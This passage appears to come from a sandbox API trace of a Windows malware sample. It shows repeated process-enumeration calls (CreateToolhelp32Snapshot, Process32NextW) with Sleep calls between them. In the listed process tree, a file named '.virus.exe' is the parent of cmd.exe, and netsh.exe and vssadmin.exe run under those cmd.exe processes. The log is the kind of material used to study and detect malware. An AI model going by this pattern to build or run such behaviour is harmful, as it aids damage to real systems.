lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.690] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.690] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0241.691] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.691] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0241.691] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0241.692] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0241.692] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0241.692] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0241.693] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0241.693] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0241.693] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0241.694] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0241.694] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0241.695] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.695] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0241.695] CloseHandle (hObject=0x1c4) returned 1 [0241.695] Sleep (dwMilliseconds=0x1f4) [0242.227] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0242.229] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.229] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.230] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.230] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.231] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.231] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.232] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.232] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.232] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.233] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0242.233] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.234] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.234] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.235] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.235] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.236] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.236] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.236] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.237] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.237] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.238] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.238] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0242.239] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.239] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0242.239] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0242.240] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0242.240] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0242.241] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0242.298] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0242.299] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0242.299] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0242.300] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0242.300] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0242.301] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.301] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0242.302] CloseHandle (hObject=0x1a8) returned 1 [0242.302] Sleep (dwMilliseconds=0x1f4) [0242.944] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0242.946] Process32FirstW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.947] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.947] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.947] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.948] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.948] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.949] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.949] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.949] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.950] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0242.950] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.951] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.951] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.951] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.952] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.952] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.953] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.953] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.953] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.954] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.954] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.954] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0242.955] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.955] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0242.955] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0242.956] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0242.956] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0242.956] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0242.957] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0242.957] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0242.957] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, 